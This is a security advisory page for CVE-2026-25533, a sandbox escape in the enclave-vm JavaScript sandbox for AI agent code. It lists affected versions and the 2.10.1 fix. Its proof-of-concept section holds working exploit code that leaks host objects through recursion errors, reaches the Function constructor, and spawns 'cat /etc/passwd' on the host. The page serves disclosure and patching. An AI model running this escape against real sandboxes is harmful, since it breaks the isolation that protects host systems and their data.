CVE-2026-25533: Enclave has a sandbox escape via infinite recursion and error objects

Published Feb 5, 2026
·
Updated

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm). All fixed versions and guidance refer to @enclave-vm/core.

Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

js import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: Called ${toolName} }; }, });

// Execute AgentScript code const result = await enclave.run( let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["proto"]][["proto"]][["proto"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawnsync').spawn(options).output[1].toString())")(); );

Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Other sources

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.

MITRE

Affected Software

3 affected componentsFixes available
npm/@enclave-vm/core<2.10.1
2.10.1
npm/enclave-vm<=2.7.0
agentfront Enclave>=2.7.0<2.10.1

Event History

Feb 5, 2026
Advisory Published
via GitHub·05:49 PM
Data Sourced
via GitHub·05:49 PM
DescriptionWeaknessAffected Software
Feb 6, 2026
CVE Published
via MITRE·09:16 PM
Data Sourced
via MITRE·09:16 PM
DescriptionWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25533?

CVE-2026-25533 is considered a high severity vulnerability due to its potential for sandbox escape.

2

How do I fix CVE-2026-25533?

To fix CVE-2026-25533, ensure you upgrade to version 2.10.1 or later of the @enclave-vm/core package.

3

Which versions are affected by CVE-2026-25533?

CVE-2026-25533 affects versions of enclave-vm up to and including 2.7.0 and all versions of @enclave-vm/core prior to 2.10.1.

4

What is the nature of the vulnerability CVE-2026-25533?

CVE-2026-25533 involves a sandbox escape through infinite recursion and error objects in the enclave-vm package.

5

Is enclave-vm still maintained after CVE-2026-25533?

Yes, enclave-vm has moved to @enclave-vm/core and can still be maintained with updated versions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203